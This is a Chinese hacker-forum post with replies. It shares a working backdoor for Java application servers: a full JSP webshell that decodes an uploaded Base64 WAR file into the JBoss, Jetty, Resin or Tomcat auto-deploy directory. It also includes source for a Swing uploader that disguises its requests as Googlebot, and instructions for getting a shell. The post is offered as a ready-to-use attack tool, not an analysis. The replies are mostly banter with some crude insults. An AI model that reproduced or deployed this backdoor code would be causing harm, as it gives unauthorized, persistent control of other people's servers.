Java WebServer 自动部署后门附工具和源码
园长 (你在身边就是缘,缘分写在数据库里面。) | 2014-01-07 19:33
社区发现有人发了一个Jboss的自动部署war的后门:求此后门的利用方法。
挺聪明的Server一般都提供了自动部署服务,也就是说只需要把war包放到默认能够自动部署的目录就行了。
POST提交:http://xxx.com/xxx.jsp
参数:
pUBYyDsT=war文件的Basr64编码&oAEICWIo=Test
然后请求http://xxx.com/Test就getshell了。Test是war文件的项目名。
只需简单的改改getProperty的属性值就能够通用到Tomcat等Server.
客户端工具:
源码:
private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) { String war = jTextField3.getText(); if(war!=null){ try { FileInputStream fis = new FileInputStream(new File(war)); byte[] b = new byte[1024]; int n = 0; ByteArrayOutputStream baos = new ByteArrayOutputStream(); while((n=fis.read(b))!=-1){ baos.write(b,0,n); } String content = new BASE64Encoder().encode(baos.toByteArray()); fis.close(); Map<String,String> map = new HashMap<String, String>(); map.put("oAEICWIo", jTextField2.getText()); map.put("pUBYyDsT", content); Jsoup.connect(jTextField1.getText()).data(map).userAgent("Googlebot/2.1 (+http://www.googlebot.com/bot.html").timeout(30000).post(); jTextArea1.setText("请求成功..."); } catch (Exception e) { jTextArea1.setText(e.toString()); } } } private void jButton2ActionPerformed(java.awt.event.ActionEvent evt) { int result = 0; String path = null; JFileChooser fileChooser = new JFileChooser(); FileSystemView fsv = FileSystemView.getFileSystemView(); fileChooser.setCurrentDirectory(fsv.getHomeDirectory()); fileChooser.setDialogTitle("请选择war文件."); fileChooser.setApproveButtonText("确定"); fileChooser.setFileSelectionMode(JFileChooser.FILES_ONLY); result = fileChooser.showOpenDialog(fileChooser); if (JFileChooser.APPROVE_OPTION == result) { path=fileChooser.getSelectedFile().getPath(); } jTextField3.setText(path); }
修改后的z7y.jsp后门:
<%@page import="java.io.*,java.util.*,sun.misc.BASE64Decoder"%> <%! String getServer(HttpServletRequest request,String name){ if(name.indexOf("jboss")!=-1){ return System.getProperty("jboss.server.home.dir")+"/deploy/"; }else if(name.indexOf("jetty")!=-1){ return System.getProperty("jetty.home")+"/webapps/"; }else if(name.indexOf("resin")!=-1){ return System.getProperty("resin.home")+"/webapps/"; } return System.getProperty("catalina.home")+"/webapps/"; } %> <% String PJdpj = request.getParameter("pUBYyDsT"); if (PJdpj!= null) { try { String RSVw = getServer(request, application.getServerInfo().toLowerCase()).replaceAll("\\\\", "/")+request.getParameter("oAEICWIo")+".war"; FileOutputStream twkH = new FileOutputStream(RSVw); twkH.write(new BASE64Decoder().decodeBuffer(PJdpj)); twkH.close(); String dhkDS = RSVw+ ".war"; new File(dhkDS).delete(); } catch (Exception e) { } } %>
请求:http://localhost:8080/iswin/index.jsp 密码:023
[FROM]:http://p2j.cn/?p=487
相关内容:
求此后门的利用方法,一段另类的 java 后门代码,Jboss 自动部署 war 后门
相关讨论:
1#
xsser (十根阳具有长短!!) | 2014-01-07 19:36
发drops多好
2#
VIP (Fatal error: Call to undefined function getwb() in /data1/www/htdocs/106/wzone/1/index.php on line 10|@齐迹@小胖子@z7y@nauscript|昨晚做梦梦见了一个ecshop注射0day,醒来后忘记在哪了。|预留广告位) | 2014-01-07 19:38
园长的独门秘器
3#
nauscript (@VIP @齐迹 @园长 @ACGT @z7y @小胖子@PX1624) | 2014-01-07 19:38
我擦 那天问你要你没给 发这我先拿走了 哈哈
4#
小黑要低调 | 2014-01-07 20:56
没太看明白,有这权限了,为什么不直接写马?
5#
sky (()()()()()(等级:史上无敌最佳新人白帽子) | 2014-01-07 20:59
淘气的用了2个S+B的名字
6#
x1aoh4i (我只能送你们一句话:"乌云自有千种粒,乌云自有黄金屋,乌云自有颜如玉") | 2014-01-07 21:01
下次我发东西 绝对会带上sky傻逼的名字
7#
luwikes (土豆你个西红柿,番茄你个马铃薯~~~) | 2014-01-08 11:11
Warning: Offset 0 is invalid for MySQL result index 2 in /www/p2j.cn/index.php on line 20
8#
园长 (你在身边就是缘,缘分写在数据库里面。) | 2014-01-08 11:40
@luwikes <font color="red">Warning: Offset 0 is invalid for MySQL result index 2 in /www/p2j.cn/index.php on line 20<!-- dou ni wan --></font>
9#
疯狂 (One day is a day) | 2014-01-08 13:20
x64 jdk7.0 无法运行jar包,这是为什么呢,javaw没反应,我的环境变量没错啊
10#
疯狂 (One day is a day) | 2014-01-08 13:21
@园长 javaw运行没反应,是哪里配置错了
11#
luwikes (土豆你个西红柿,番茄你个马铃薯~~~) | 2014-01-08 13:46
@园长 还以为你哪儿值取错了而且忘了加@
12#
小胖子 (谁知女人心,园长卫生巾。) | 2014-01-08 13:55
园长你又调皮了
13#
园长 (你在身边就是缘,缘分写在数据库里面。) | 2014-01-08 14:31
@疯狂 JDK7的话,直接双击打开jar文件就行了,刚试了下windows下除了打包的时候文件名乱码,没其他问题。